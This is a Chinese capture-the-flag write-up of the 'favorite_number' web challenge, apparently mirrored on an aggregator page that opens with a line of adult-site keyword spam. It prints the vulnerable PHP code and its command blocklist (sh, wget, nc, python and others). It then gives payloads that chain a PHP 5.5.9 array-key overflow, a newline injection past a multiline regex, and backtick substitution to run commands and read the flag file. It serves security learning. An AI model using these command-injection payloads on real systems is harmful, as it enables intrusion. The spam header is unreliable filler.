日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界WEB练习-favorite_number

發布時間:2024/1/18 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界WEB练习-favorite_number 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

作者簡介:不知名白帽,網絡安全學習者。

博客主頁:https://blog.csdn.net/m0_63127854?type=blog

攻防世界專欄:https://blog.csdn.net/m0_63127854/category_11983747.html

網絡安全交流社區:https://bbs.csdn.net/forums/angluoanquan

目錄

題目場景

代碼審計及繞過

通過php5.5版本的數組key溢出漏洞進行數組繞過

換行符繞過正則跨行匹配

黑名單繞過


題目場景

<?php //php5.5.9 $stuff?=?$_POST["stuff"]; $array?=?['admin',?'user']; if($stuff?===?$array?&&?$stuff[0]?!=?'admin')?{$num=?$_POST["num"];if?(preg_match("/^\d+$/im",$num)){if?(!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo?"my?favorite?num?is:";system("echo?".$num);}else{echo?'Bonjour!';}} }?else?{highlight_file(__FILE__); }

代碼審計及繞過

通過php5.5版本的數組key溢出漏洞進行數組繞過

php的版本是5.5.9

通過post方式傳遞兩個參數:stuff(數組)和num(其中的內容經過過濾之后會被system函數執行)

既要數組強等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根據上面的提示,只能是php5.5.9的版本漏洞了

根據php5.5.9的版本漏洞:

PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation

我們可以利用PHP的數組下標的一個BUG,可以利用整型溢出:

https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

構造payload

$stuff[0]!='admin',我們通過0x100000000(0x100000000轉換成十進制4294967296)來進行溢出;進行POST傳參

stuff[4294967296]=admin&stuff[]=user&num=123

換行符繞過正則跨行匹配

正則"/^\d+$/im",要求整個字符串都是數字,大小寫不敏感,跨行檢測

^和$ 匹配字符串開頭和結尾

/d 匹配數字

/i 表示匹配的時候不區分大小寫

/m 表示多行匹配。什么是多行匹配呢?就是匹配換行符兩端的潛在匹配。影響正則中的^$符號

stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als

黑名單繞過

/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i

黑名單,把常用的可以執行的代碼命令都排除了

查看根目錄下的文件ls /

因為cat被禁用了,所以用inode索引節點,ls -i /

使用`繞過單雙引號過濾,讀取flag

%0atac `find / -inum 18497049`

總結

以上是生活随笔為你收集整理的攻防世界WEB练习-favorite_number的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。